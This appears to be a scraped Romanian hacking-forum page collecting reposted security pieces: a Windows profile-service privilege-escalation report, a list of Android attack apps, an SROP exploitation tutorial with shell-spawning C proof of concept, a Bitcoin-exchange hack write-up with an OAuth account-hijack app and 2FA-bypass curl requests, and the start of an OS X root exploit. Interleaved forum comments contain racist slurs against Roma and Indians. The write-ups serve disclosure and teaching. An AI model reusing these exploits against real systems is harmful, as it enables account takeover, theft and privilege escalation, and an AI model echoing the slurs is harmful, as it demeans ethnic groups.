Nytro

Reported by fors.. @google.com, Oct 13, 2014 Platform: Windows 8.1 Update 32/64 bit (No other OS tested) When a user logs into a computer the User Profile Service is used to create certain directories and mount the user hives (as a normal user account cannot do so). In theory the only thing which needs to be done under a privileged account (other than loading the hives) is creating the base profile directory. This should be secure because c:\users requires administrator privileges to create. The configuration of the profile location is in HKLM so that can’t be influenced. However there seems to be a bug in the way it handles impersonation, the first few resources in the profile get created under the user’s token, but this changes to impersonating Local System part of the way through. Any resources created while impersonating Local System might be exploitable to elevate privilege. Note that this occurs everytime the user logs in to their account, it isn't something that only happens during the initial provisioning of the local profile. Some identified issues are: * When creating directories the service does a recursive create, so for example if creating c:\users\user it will first create c:\users then c:\users\user. Probably not exploitable because Users already exists but of course worth remembering that normal users can create directories in the c: drive root. So always a possibility being able to place a junction point at c:\users on some systems. * The service creates the temporary folder for the user in CreateTempDirectoryForUser and gets the value from the user’s hive Environment key (TEMP and TMP). This folder is created under system privileges. All it requires is the string starts with %USERPROFILE% so you can do relative paths or just replace USERPROFILE in the environment. This probably isn't that useful on the whole as the security of the directory is inherited from the parent. * Creation of AppData\LocalLow folder in EnsurePreCreateKnownFolders. This might be exploited to set an arbitrary directory’s integrity level to Low as it tries to set the label explicitly. But that’s probably only of interest if there’s a directory which a normal user would be able to write to but is blocked by a high/system integrity level which is unlikely. * Probably most serious is the handling of the %USERPROFILE\AppData\Local\Microsoft\Windows\UsrClass.dat registry hive. The profile service queries for the location of AppData\Local from the user’s registry hive then tries to create the Windows folder and UsrClass.dat file. By creating a new folder structure, changing the user's shell folders registry key and placing a junction in the hierarchy you can get this process to open any other UsrClass.dat file on the system, assuming it isn't already loaded. For example you could create a directory hierarchy like: %USERPROFILE%\AppData\NotLocal\Microsoft\Windows -> c:\users\administrator\appdata\local\Microsoft\windows Then set HKCU\Software\Microsoft\Windows\Explorer\User Shell Folders\Local AppData to %USERPROFILE%\AppData\NotLocal. It seems to even set the root key security when it does so, this might be useful for privilege escalation. This has a chicken-and-egg problem in that the NtLoadKey system call will create the file if it doesn't exist (it sets the FILE_OPEN_IF disposition flag), but you must be running as an administrator otherwise the privilege check for SeRestorePrivilege will fail. I've looked at the implementation on Windows 7 and there are a few similar issues but Windows 8.1 implementation of the services does a lot more things. At least the most serious UsrClass.dat issue exists in 7. Attached is a batch file PoC for Windows 8.1 Update which demonstrates the temporary folder issue. To verify perform the following steps: 1) Execute the batch file as a normal user (this was tested with a local account, not a Microsoft online linked account, or domain). This will change the environment variables TEMP and TMP to be %USERPROFILE%\..\..\..\..\Windows\faketemp 2) Logout then log back in again 3) Observe that the directory \Windows\faketemp has been created. This bug is subject to a 90 day disclosure deadline. If 90 days elapse without a broadly available patch, then the bug report will automatically become visible to the public. [TABLE] [TR] [TD] [/TD] [TD] set_temp.bat 207 bytes View Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?can=2&q=&colspec=ID%20Type%20Status%20Priority%20Milestone%20Owner%20Summary&groupby=&sort=&id=123

Here we have in no particular order the top Android apps for hacking using an android smartphone. Disclaimer: These apps should be used for research purposes only 1. SpoofApp:- SpoofApp is a Caller ID Spoofing, Voice Changing and Call Recording mobile app for your iPhone, BlackBerry and Android phone. It’s a decent mobile app to help protect your privacy on the phone. However, it has been banned from the Play Store for allegedly being in conflict with The Truth in Caller ID Act of 2009. 2. Andosid:- The DOS tool for Android Phones allows security professionals to simulate a DOS attack (an http post flood attack to be exact) and of course a dDOS on a web server, from mobile phones. 3.Faceniff:- Allows you to sniff and intercept web session profiles over the WiFi that your mobile is connected to. It is possible to hijack sessions only when WiFi is not using EAP, but it should work over any private networks. 4.Nmapper:- (Network Mapper) is a security scanner originally written by Gordon Lyon used to discover hosts and services on a computer network, thus creating a “map” of the network. To accomplish its goal, Nmapper sends specially crafted packets to the target host and then analyses the responses. 5. Anti-Android Network Toolkit:- zANTI is a comprehensive network diagnostics toolkit that enables complex audits and penetration tests at the push of a button. It provides cloud-based reporting that walks you through simple guidelines to ensure network safety. 6. SSHDroid:- SSHDroid is a SSH server implementation for Android. This application will let you connect to your device from a PC and execute commands (like “terminal” and “adb shell”) or edit files (through SFTP, WinSCP, Cyberduck, etc). 7. WiFi Analyser:- Turns your android phone into a Wi-Fi analyser. Shows the Wi-Fi channels around you. Helps you to find a less crowded channel for your wireless router. 8. Network Discovery:- Discover hosts and scan their ports in your Wifi network. A great tool for testing your network security. 9. ConnectBot:- ConnectBot is a powerful open-source Secure Shell (SSH) client. It can manage simultaneous SSH sessions, create secure tunnels, and copy/paste between other applications. This client allows you to connect to Secure Shell servers that typically run on UNIX-based servers. 10. dSploit:-Android network analysis and penetration suite offering the most complete and advanced professional toolkit to perform network security assesments on a mobile device. 11. Hackode:- The hacker’s Toolbox is an application for penetration tester, Ethical hackers, IT administrator and Cyber security professional to perform different tasks like reconnaissance, scanning performing exploits etc. 12.Androrat:- Remote Administration Tool for Android. Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server. 13.APKInspector:- APKinspector is a powerful GUI tool for analysts to analyse the Android applications. The goal of this project is to aide analysts and reverse engineers to visualize compiled Android packages and their corresponding DEX code. 14.DroidBox:- DroidBox is developed to offer dynamic analysis of Android applications. 15.Burp Suite:- Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application’s attack surface, through to finding and exploiting security vulnerabilities. 16. Droid Sheep:- DroidSheep can be easily used by anybody who has an Android device and only the provider of the web service can protect the users. So Anybody can test the security of his account by himself and can decide whether to keep on using the web service. 17. AppUse:– Android Pentest Platform Unified Standalone Environment:- AppSec Labs recently developed the AppUse Virtual Machine. This system is a unique, free, platform for mobile application security testing in the android environment, and it includes unique custom-made tools created by AppSec Labs. 18. Shark for Root:- Traffic sniffer, works on 3G and WiFi (works on FroYo tethered mode too). To open dump use WireShark or similar software, for preview dump on phone use Shark Reader. Based on tcpdump. 19. Fing:- Find out which devices are connected to your Wi-Fi network, in just a few seconds. Fast and accurate, Fing is a professional App for network analysis. A simple and intuitive interface helps you evaluate security levels, detect intruders and resolve network issues. 20.Drozer:- drozer enables you to search for security vulnerabilities in apps and devices by assuming the role of an app and interacting with the Dalvik VM, other apps’ IPC endpoints and the underlying OS. drozer provides tools to help you use and share public Android exploits. It helps you to deploy a drozer agent by using weasel – MWR’s advanced exploitation payload. 21. WifiKill:- Second app, developed also by B.Ponury is an app which can kill connections and kick site-hoggers from the site. This app definitely kick then net user from the site so he cannot use it anymore. The app also offers the list of viewed sites by the hogger. 22. DroidSniff:- Similar to DroidSheep but with a newer and nicer interface is DroidSniff – sniffing app not only for Facebook. This app shows you what is the hogger looking for and then you can “take” his control, steal the cookies and rock’n’roll. Works perfectly. 23. Network Spoofer:- The last app, called NetWork Spoofer is very similar to dSploit but it’s more easier to use. Only hitch is that you need to have at least 500MB of free data. It offers you a lot of troll features – change Google searches, flip images, redirect websites, swap YouTube videos and others. 24. Droid SQLI:- allows you to test your MySQL based web application against SQL injection attacks. DroidSQLi supports the following injection techniques: Time based injection, blind injection, error based injection, normal injection. 25. sqlmapchik:- is a cross-platform sqlmap GUI for the extremely popular sqlmap tool Sursa: The Top Android Apps for Hacking

January 3, 2015 — Mehdi Talbi Playing with signals : An overview on Sigreturn Oriented Programming Introduction Back to last GreHack edition, Herbert Bos has presented a novel technique to exploit stack-based overflows more reliably on Linux. We review hereafter this new exploitation technique and provide an exploit along with the vulnerable server. Even if this technique is portable to multiple platforms, we will focus on a 64-bit Linux OS in this blog post. All sample code used in this blogpost is available for download through the following archive. We’ve got a signal When the kernel delivers a signal, it creates a frame on the stack where it stores the current execution context (flags, registers, etc.) and then gives the control to the signal handler. After handling the signal, the kernel calls sigreturn to resume the execution. More precisely, the kernel uses the following structure pushed previously on the stack to recover the process context. A closer look at this structure is given by figure 1. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8[/TD] [TD=class: code]typedef struct ucontext { unsigned long int uc_flags; struct ucontext *uc_link; stack_t uc_stack; mcontext_t uc_mcontext; __sigset_t uc_sigmask; struct _libc_fpstate __fpregs_mem; } ucontext_t;[/TD] [/TR] [/TABLE] Now, let’s debug the following program (sig.c) to see what really happens when handling a signal on Linux. This program simply registers a signal handler to manage SIGINT signals. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18[/TD] [TD=class: code]#include <stdio.h> #include <signal.h> void handle_signal(int signum) { printf("handling signal: %d\n", signum); } int main() { signal(SIGINT, (void *)handle_signal); printf("catch me if you can\n"); while(1) {} return 0; } /* struct definition for debugging purpose */ struct sigcontext sigcontext;[/TD] [/TR] [/TABLE] First of all, we need to tell gdb to not intercept this signal: [TABLE] [TR] [TD=class: gutter]1 2 3[/TD] [TD=class: code]gdb$ handle SIGINT nostop pass Signal Stop Print Pass to program Description SIGINT No Yes Yes Interrupt[/TD] [/TR] [/TABLE] Then, we set a breakpoint at the signal handling function, start the program and hit CTRLˆC to reach the signal handler code. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14[/TD] [TD=class: code]gdb$ b handle_signal Breakpoint 1 at 0x4005a7: file sig.c, line 6. gdb$ r Starting program: /home/mtalbi/sig hit CTRL^C to catch me ^C Program received signal SIGINT, Interrupt. Breakpoint 1, handle_signal (signum=0x2) at sig.c:6 6 printf("handling signal: %d", signum); gdb$ bt #0 handle_signal (signum=0x2) at sig.c:6 #1 <signal handler called> #2 main () at sig.c:13[/TD] [/TR] [/TABLE] We note here that the frame #1 is created in order to resume the process execution at the point where it was interrupted before. This is confirmed by checking the instructions pointed by rip which corresponds to sigreturn syscall: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5[/TD] [TD=class: code]gdb$ frame 1 #1 <signal handler called> gdb$ x/2i $rip => 0x7ffff7a844f0: mov $0xf,%rax 0x7ffff7a844f7: syscall [/TD] [/TR] [/TABLE] Figure 1 shows the stack at signal handling function entry point. Figure 1: Stack at signal handling function entry point We can check the values of some saved registers and flags. Note that sigcontext structure is the same as uc_mcontext structure. It is located at rbp + 7 * 8 according to figure 1. It holds saved registers and flags value: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12[/TD] [TD=class: code]gdb$ frame 0 ... gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->rip $5 = 0x4005da gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->rsp $6 = 0x7fffffffe110 gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->rax $7 = 0x17 gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->cs $8 = 0x33 gdb$ p ((struct sigcontext *)($rbp + 7 * 8))->eflags $9 = 0x202[/TD] [/TR] [/TABLE] Now, we can verify that after handling the signal, registers will recover their values: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15[/TD] [TD=class: code]gdb$ b 13 Breakpoint 2 at 0x4005da: file sig.c, line 13. gdb$ c Continuing. handling signal: 2 Breakpoint 2, main () at sig.c:13 13 while(1) {} gdb$ i r ... rax 0x17 0x17 rsp 0x7fffffffe110 0x7fffffffe110 eflags 0x202 [ IF ] cs 0x33 0x33 ...[/TD] [/TR] [/TABLE] Exploitation If we manage to overflow a saved instruction pointer with sigreturn address and forge a uc mcontext structure by adjusting registers and flags values, then we can execute any syscall. It may be a litte confusing here. In effect, trying to execute a syscall by returning on another syscall (sigreturn) may be strange at first sight. Well, the main difference here is that the latter does not require any parameters at all. All we need is a gadget that sets rax to 0xf to run any system call through sigreturn syscall. Gadgets are small pieces of instructions ending with a ret instruction. These gadgets are chained together to perform a specific action. This technique is well-known as ROP: Return-Oriented Programming [sha07]. Surprisingly, it is quite easy to find a syscall ; ret gadget on some Linux distribution where the vsyscall map is still in use. The vsyscall page is mapped at fixed location into all user-space processes. For interested readers, here is good link about vsyscall. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9[/TD] [TD=class: code]mtalbi@mtalbi:/home/mtalbi/srop$ cat /proc/self/maps ... 7ffffe5ff000-7ffffe600000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] ... gdb$ x/3i 0xffffffffff600000 0xffffffffff600000: mov rax,0x60 0xffffffffff600007: syscall 0xffffffffff600009: ret [/TD] [/TR] [/TABLE] Bosman and Bos list in [bB14] locations of sigreturn and syscall gadgets for different operating systems including FreeBSD and Mac OS X. Assumed that we found the required gadgets, we need to arrange our payload as shown in figure 3 in order to successfully exploit a classic stack-based overflow. Note that zeroes should be allowed in the payload (e.g. a non strcpy vulnerability); otherwise, we need to find a way to zero some parts of uc_mcontext structure. The following code (srop.c) is a proof of concept of sigreturn oriented programming that starts a /bin/sh shell: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46[/TD] [TD=class: code]#include <stdio.h> #include <string.h> #include <signal.h> #define SYSCALL 0xffffffffff600007 struct ucontext ctx; char *shell[] = {"/bin/sh", NULL}; void gadget(); int main() { unsigned long *ret; /* initializing the context structure */ bzero(&ctx, sizeof(struct ucontext)); /* setting rip value (points to syscall address) */ ctx.uc_mcontext.gregs[16] = SYSCALL; /* setting 0x3b in rax (execve syscall) */ ctx.uc_mcontext.gregs[13] = 0x3b; /* setting first arg of execve in rdi */ ctx.uc_mcontext.gregs[8] = shell[0]; /* setting second arg of execv in rsi */ ctx.uc_mcontext.gregs[9] = shell; /* cs = 0x33 */ ctx.uc_mcontext.gregs[18] = 0x33; /* overflowing */ ret = (unsigned long *)&ret + 2; *ret = (int)gadget + 4; //skip gadget's function prologue *(ret + 1) = SYSCALL; memcpy(ret + 2, &ctx, sizeof(struct ucontext)); return 0; } void gadget() { asm("mov $0xf,%rax\n"); asm("retq\n"); }[/TD] [/TR] [/TABLE] The programm fills a uc_mcontext structure with execve syscall parameters. Additionally, the cs register is set to 0x33: Instruction pointer rip points to syscall; ret gadget. rax register holds execve syscall number. rdi register holds the first paramater of execve (“/bin/sh” address). rsi register holds the second parameter of execve (“/bin/sh” arguments). rdx register holds the last parameter of execve (zeroed at struture initialization). Then, the program overflows the saved rip pointer with mov %rax, $0xf; ret gadget address (added artificially to the program through gadget function). This gadget is followed by the syscall gadget address. So, when the main function will return, these two gadgets will be executed resulting in sigreturn system call which will set registers values from the previously filled structure. After sigreturn, execve will be called as rip points now to syscall gadget and rax holds the syscall number of execve. In our example, execve will start /bin/sh shell. Code In this section we provide a vulnerable server (server.c) and use the SROP technique to exploit it (exploit.c). Vulnerable server The following program is a simple server that replies back with a welcoming message after receiving some data from client. The vulnerability is present in the handle_conn function where we can read more data from client (4096 bytes) than the destination array (input) can hold (1024 bytes). The program is therefore vulnerable to a classical stack-based overflow. server.c Exploit We know that our payload will be copied in a fixed location in .bss. (at 0x6012c0). Our strategy is to copy a shellcode there and then call mprotect syscall in order to change page protection starting at 0x601000 (must be a multiple ot the page size). Figure 2: Payload copied in .bss In this exploit, we overflow our vulnerable buffer as shown by figure 3. First, we fill our buffer with a nop sled (not necessary) followed by a classical bindshell. This executable payload is prepended with an address pointing to the shellcode in .bss (see figure 2). exploit.c Our goal is to change protection of memory page containing our shellcode. More precisely, we want to make the following call so that we can execute our shellcode: [TABLE] [TR] [TD=class: code]mmprotect(0x601000, 4096, PROT_READ | PROT_WRITE | PROT_EXEC);[/TD] [/TR] [/TABLE] Here, is what happens when the vulnerable function returns: The artificial gadget is executed. It sets rax register to 15. Our artificial gadget is followed by a syscall gadget that will result in a sigreturn call. The sigreturn uses our fake uc_mcontext structure to restore registers values. Only non shaded parameters in figure 3 are relevant to the exploit. After this call, rip points to syscall gadget, rax is set to mprotect syscall number, and rdi, rsi and rdx hold the parameters of mprotect function. Additionally, rsp points to our payload in .bss. mprotect syscall is executed. ret instruction of syscall gadget is executed. This instruction will set instruction pointer to the address popped from rsp. This address points to our shellcode (see figure 2). The shellcode is executed. Figure 3: Stack after overflowing input buffer Replaying the exploit The above code has been compiled using gcc (gcc -g -o server.c server) on a Debian Wheezy running on x_86_64 arch. Before reproducing this exploit, you need to adjust first the following addresses: SYSCALL_GADGET [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9[/TD] [TD=class: code]mtalbi@mtalbi:/home/mtalbi/srop$ cat /proc/self/maps ... 7ffffe5ff000-7ffffe600000 r-xp 00000000 00:00 0 [vdso] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] ... gdb$ x/3i 0xffffffffff600000 0xffffffffff600000: mov rax,0x60 0xffffffffff600007: syscall 0xffffffffff600009: ret[/TD] [/TR] [/TABLE] RAX_15_GADGET [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10[/TD] [TD=class: code]mtalbi@mtalbi:/home/mtalbi/srop$ gdb server (gdb) disas gadget Dump of assembler code for function gadget: 0x0000000000400acf <+0>: push %rbp 0x0000000000400ad0 <+1>: mov %rsp,%rbp 0x0000000000400ad3 <+4>: mov $0xf,%rax 0x0000000000400ada <+11>: retq 0x0000000000400adb <+12>: pop %rbp 0x0000000000400adc <+13>: retq End of assembler dump.[/TD] [/TR] [/TABLE] DATA [TABLE] [TR] [TD=class: gutter]1 2[/TD] [TD=class: code](gdb) p &data $1 = (char [8192]) 0x6012c0[/TD] [/TR] [/TABLE] References [bB14] Erik Bosman and Herbert Bos. We got signal. a return to portable exploits. (working title, subject to change.). In Security & Privacy (Oakland), San Jose, CA, USA, May 2014. IEEE. [sha07] Hovav Shacham. The geometry of innocent flesh on the bone: Return-into-libc without function calls (on the x86). In Proceedings of the 14th ACM Conference on Computer and Communications Security, CCS ’07, pages 552– 561, New York, NY, USA, 2007. ACM. Sursa: Playing with signals : An overview on Sigreturn Oriented Programming | This is Security :: by Arkoon-Netasq

Hacking a Bitcoin Exchange Jan 10, 2015 • @homakov For a while we’ve been looking for a project to conduct volunteer security audit. Recently we found a perfect suit for us - an open source crypto currency exchange Peatio powered by Rails. We dedicated 8 hours to find a way to do the worst you can do with a Bitcoin exchange - steal the hot wallet. The mission was partially accomplished and we found an interesting chain of critical vulnerabilities. Step 1. Hijacking the account Peatio has “Connect Weibo account” feature built-in. According to OAuth Security Cheatsheet, poorly implemented OAuth is a reliable way to take over an account. Connecting attacker’s weibo account to the victim’s Peatio account omniauth-weibo-oauth2 gem was vulnerable to state fixation. We can set state to arbitrary value (e.g. 123) and apply the attacker’s code instead along with state=123, which will lead to assigning attacker’s weibo to victim’s peatio account. The exact same issue was in omniauth-facebook gem and others omniauth-based libraries copypasting same vulnerable code. It’s funny that the comment above says “to support omniauth-oauth2’s auto csrf protection” but does the opposite and switches it off. The bug can be exploited with following Sinatra app, just add YourWeiboCookies: require 'sinatra' get '/get_weibo_cb' do conn = Faraday.new(:url => 'https://api.weibo.com') new_url = conn.get do |r| r.url "/oauth2/authorize?client_id=456519107&redirect_uri=https%3A%2F%2Fyunbi.com%2Fauth%2Fweibo%2Fcallback&response_type=code&state=123" r.headers['Cookie'] =<<COOKIE YourWeiboCookies COOKIE r.options.timeout = 4 r.options.open_timeout = 2 end.headers["Location"] redirect new_url end get '/peatio_demo' do response.headers['Content-Security-Policy'] = "img-src 'self' https://yunbi.com" "<img src='https://yunbi.com/auth/weibo?state=123'><img src='/get_weibo_cb'>" end What if the user already has Weibo connected? The system is not going to connect another Weibo account but we wanted the exploit to work seamlessly for every possible victim. So we hacked Weibo’s OAuth. First, we found out Weibo doesn’t whitelist redirect_uri like Github didn’t. It’s possible to change redirect_uri to another page on the victim domain to leak the code in the Referrer header and then use it to log in victim’s account. However there was no such page on Peatio to make it leak. No external images, links or anything. The attack surface was so tiny. But then we found this in DocumentsController: if not @DOC redirect_to(request.referer || root_path) return end Following chain of redirects leaks the code by putting it in the # fragment first. attacker_page redirects to weibo.com/authorize?...redirect_uri=http://app/documents/not_existing_doc%23... Weibo doesn’t properly parse redirect_uri and redirects the victim to http://app/documents/not_existing_doc#?code=VALID_CODE Peatio cannot find not_existing_doc and sends back Location header equal request.referer which is still attacker_page (the browser retains this header while gets redirected) The browser preserves #?code=VALID_CODE fragment and loads attacker_page#?code=VALID_CODE. Now the code can be leaked with JS via location.hash variable. The code can be used against http://app/auth/weibo/callback to log in the victim’s account. So using two bugs above we can hijack any peatio account and only last one requires JS. Step 2: Bypassing 2 Factor Authentication For users with Google Authenticator activated There’s a gaping hole in SmsAuthsController - two_factor_required! is only called for show action, but not for update which is actually responsible for activating SMS 2FA. before_action :auth_member! before_action :find_sms_auth before_action :activated? before_action :two_factor_required!, only: [:show] def show @phone_number = Phonelib.parse(current_user.phone_number).national end def update if params[:commit] == 'send_code' send_code_phase else verify_code_phase end end We can activate new SMS authenticator simply sending following requests straight to update action. curl ‘http://app/verify/sms_auth’ -H ‘X-CSRF-Token:ZPwrQuLJ3x7md3wolrCTE6HItxkwOiUNHlekDPRDkwI=’ -H ‘Cookie:_peatio_session=SID’ –data ‘_method=patch&sms_auth%5Bcountry%5D=DE&sms_auth%5B phone_number%5D=9123222211&commit=send_code’ curl ‘http://app/verify/sms_auth’ -H ‘X-CSRF-Token:ZPwrQuLJ3x7md3wolrCTE6HItxkwOiUNHlekDPRDkwI=’ -H ‘Cookie:_peatio_session=SID’ –data ‘_method=patch&sms_auth%5Bcountry%5D=DE&sms_auth%5B phone_number%5D=9123222211&sms_auth%5Botp%5D=CODE_WE_RECEIVED’ For users with both Authenticator and SMS Peatio doesn’t store failed attempts for OTP so it’s very easy to bruteforce both App and SMS OTPs, it will take less than 3 days. For more details check our OTP Bruteforce Calculator For users with SMS 2FA only two_factor_by_type method doesn’t use activated scope so even inactive 2FA models can be used. Thus we are not going to brute SMS auth because the victim will start receiving suspicious SMS. We still can bruteforce Google Authenticator because it has seed generated and verify? method is working fine. def two_factor_by_type current_user.two_factors.by_type(params[:id]) end Furthermore, SMS 2FA has two more issues def gen_code self.otp_secret = OTP_LENGTH.times.map{ Random.rand(9) + 1 }.join self.refreshed_at = Time.now end First issue is Random.rand is based on PRNG (Mersenne Twister) which is easily predictable once you have enough subsequently generated numbers. Second issue is rand(9) can only generate numbers from 0 to 8 so total number of combinations will be 9^6=531441 almost twice less than 1,000,000 and twice easier to bruteforce than App 2FA. With tricks outlined above we can bypass 2FA for any user. In worst case scenario it takes less than 3 days. If the victim has only Google Authenticator it takes less than 5 seconds to set up new SMS authenticator. Step 3: Attacking the admin Alright, we can hijack the account and bypass 2FA for any user, so we can steal the Bitcoins from anyone who visits our page. Still we need a lot of users to trick into clicking our phishy links. Let’s focus on just one of them - the admin. The simplest way to make the admin visit our link is to create a support ticket with something like “What is wrong with my account can you please check? http://i.will.hack.you/now”. Then we hack 2FA to get into the /admin panel: Unfortunately, this is the worst part. The admin of Peatio can do just few more things than a regular user. Nothing like “Send all the coins to this bad guy” or “Show API keys of all users”. can :update, Proof can :manage, Document can :manage, Member can :manage, Ticket can :manage, IdDocument can :manage, TwoFactor can :menu, Deposit can :manage, Deposit can :manage, ::Deposits::Bank can :manage, ::Deposits::Satoshi can :menu, Withdraw can :manage, ::Withdraws::Bank can :manage, ::Withdraws::Satoshi The only thing we found is creating a fiat deposit of like 99999999 Chinese Yuan and then accepting it by an admin. Then we can buy all available Bitcoins and altcoins to withdraw them. However not all Bitcoins are on orders. Doing it in stealth mode for a week can bring better results than closing all the orders in rush mode. Yunbi assets: 1636 BTC in total and ~350 in the hot wallet Our bounty: 1 BTC. It wasn’t about money though. The full report in PDF is available upon request. Sursa: Hacking a Bitcoin Exchange

Bre, ti-am zis sa nu mai fumezi toate prostiile. Good guy Familia Rockefeller, vrea sa salveze planeta diminuand specia distructiva: omul. Le dam noi tigani sa testeze Ebola pe ei.

Zeitgeist

Aoleu... Alt "tutorial" scris de tiganii indieni. Realitatea e mai dura, baieti.

Violent Python A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers TJ. O’Connor Chapter 1: Introduction Chapter 2: Penetration Testing with Python Chapter 3: Forensic Investigations with Python Chapter 4: Network Traffic Analysis with Python Chapter 5: Wireless Mayhem with Python Chapter 6: Web Recon With Python Chapter 7: Antivirus Evasion with Python Download: http://t.co/6o6Q9XgnQN

[h=1]The little book about OS development[/h] [h=1]Contents[/h] 1 Introduction 1.1 About the Book 1.2 The Reader 1.3 Credits, Thanks and Acknowledgements 1.4 Changes and Corrections 1.5 License [*]2 First Steps 2.1 Tools 2.1.1 Quick Setup 2.1.2 Programming Languages 2.1.3 Host Operating System 2.1.4 Build System 2.1.5 Virtual Machine [*]2.2 Booting 2.2.1 BIOS 2.2.2 The Bootloader 2.2.3 The Operating System [*]2.3 Hello Cafebabe 2.3.1 Compiling the Operating System 2.3.2 Linking the Kernel 2.3.3 Obtaining GRUB 2.3.4 Building an ISO Image 2.3.5 Running Bochs [*]2.4 Further Reading [*]3 Getting to C 3.1 Setting Up a Stack 3.2 Calling C Code From Assembly 3.2.1 Packing Structs [*]3.3 Compiling C Code [*]3.4 Build Tools [*]3.5 Further Reading [*]4 Output 4.1 Interacting with the Hardware 4.2 The Framebuffer 4.2.1 Writing Text 4.2.2 Moving the Cursor 4.2.3 The Driver [*]4.3 The Serial Ports 4.3.1 Configuring the Serial Port 4.3.2 Configuring the Line 4.3.3 Configuring the Buffers 4.3.4 Configuring the Modem 4.3.5 Writing Data to the Serial Port 4.3.6 Configuring Bochs 4.3.7 The Driver [*]4.4 Further Reading [*]5 Segmentation 5.1 Accessing Memory 5.2 The Global Descriptor Table (GDT) 5.3 Loading the GDT 5.4 Further Reading [*]6 Interrupts and Input 6.1 Interrupts Handlers 6.2 Creating an Entry in the IDT 6.3 Handling an Interrupt 6.4 Creating a Generic Interrupt Handler 6.5 Loading the IDT 6.6 Programmable Interrupt Controller (PIC) 6.7 Reading Input from the Keyboard 6.8 Further Reading [*]7 The Road to User Mode 7.1 Loading an External Program 7.1.1 GRUB Modules [*]7.2 Executing a Program 7.2.1 A Very Simple Program 7.2.2 Compiling 7.2.3 Finding the Program in Memory 7.2.4 Jumping to the Code [*]7.3 The Beginning of User Mode [*]8 A Short Introduction to Virtual Memory 8.1 Virtual Memory Through Segmentation? 8.2 Further Reading [*]9 Paging 9.1 Why Paging? 9.2 Paging in x86 9.2.1 Identity Paging 9.2.2 Enabling Paging 9.2.3 A Few Details [*]9.3 Paging and the Kernel 9.3.1 Reasons to Not Identity Map the Kernel 9.3.2 The Virtual Address for the Kernel 9.3.3 Placing the Kernel at 0xC0000000 9.3.4 Higher-half Linker Script 9.3.5 Entering the Higher Half 9.3.6 Running in the Higher Half [*]9.4 Virtual Memory Through Paging [*]9.5 Further Reading [*]10 Page Frame Allocation 10.1 Managing Available Memory 10.1.1 How Much Memory is There? 10.1.2 Managing Available Memory [*]10.2 How Can We Access a Page Frame? [*]10.3 A Kernel Heap [*]10.4 Further reading [*]11 User Mode 11.1 Segments for User Mode 11.2 Setting Up For User Mode 11.3 Entering User Mode 11.4 Using C for User Mode Programs 11.4.1 A C Library [*]11.5 Further Reading [*]12 File Systems 12.1 Why a File System? 12.2 A Simple Read-Only File System 12.3 Inodes and Writable File Systems 12.4 A Virtual File System 12.5 Further Reading [*]13 System Calls 13.1 Designing System Calls 13.2 Implementing System Calls 13.3 Further Reading [*]14 Multitasking 14.1 Creating New Processes 14.2 Cooperative Scheduling with Yielding 14.3 Preemptive Scheduling with Interrupts 14.3.1 Programmable Interval Timer 14.3.2 Separate Kernel Stacks for Processes 14.3.3 Difficulties with Preemptive Scheduling [*]14.4 Further Reading [*]15 References Book: The little book about OS development

Baieti, ideea e buna, daca tot ati inceput va sugerez sa lucrati cat puteti la proiect pentru ca poate iesi frumos.

Recomand.

Reported by ianb.. @google.com, Oct 7, 2014 tested on OS X 10.9.5 - uses some hard-coded offsets which will have to be fixed-up for other versions! this poc uses liblorgnette to resolve some private symbols; grab the code from github: git clone https://github.com/rodionovd/liblorgnette.git build this PoC with: clang -o sysmond_exploit_writeup sysmond_exploit_writeup.c liblorgnette/lorgnette.c -framework CoreFoundation sysmond is a daemon running as root. You can interact with sysmond via XPC ("com.apple.sysmond".) sub_100001AAF calls sub_100003120 passing the xpc dictionary received from the attacker. This function allocates a sysmond_request object and fills in fields from the attacker-controlled xpc request dictionary: ;read a uint64 with the key "Type" __text:0000000100003144 mov rax, cs:_SYSMON_XPC_KEY_TYPE_ptr __text:000000010000314B mov rsi, [rax] __text:000000010000314E mov rdi, r14 __text:0000000100003151 call _xpc_dictionary_get_uint64 __text:0000000100003156 mov [rbx+20h], rax ;rbx points to sysmond_request ;read anything with the key "Attributes" __text:000000010000315A mov rax, cs:_SYSMON_XPC_KEY_ATTRIBUTES_ptr __text:0000000100003161 mov rsi, [rax] __text:0000000100003164 mov rdi, r14 __text:0000000100003167 call _xpc_dictionary_get_value __text:000000010000316C mov [rbx+28h], rax ... continues parsing more fields The sysmond_request is returned from this function and passed as the first argument to sub_10000337D: __text:000000010000337D sub_10000337D proc near ; CODE XREF: sub_100001AAF+4Bp __text:000000010000337D __text:000000010000337D var_38 = qword ptr -38h __text:000000010000337D var_30 = dword ptr -30h __text:000000010000337D var_2C = dword ptr -2Ch __text:000000010000337D var_28 = qword ptr -28h __text:000000010000337D var_20 = qword ptr -20h __text:000000010000337D var_18 = qword ptr -18h __text:000000010000337D __text:000000010000337D push rbp __text:000000010000337E mov rbp, rsp __text:0000000100003381 push r14 __text:0000000100003383 push rbx __text:0000000100003384 sub rsp, 30h __text:0000000100003388 mov rbx, rdi ; sysmond_request pointer __text:000000010000338B mov rdi, [rbx+20h] ; 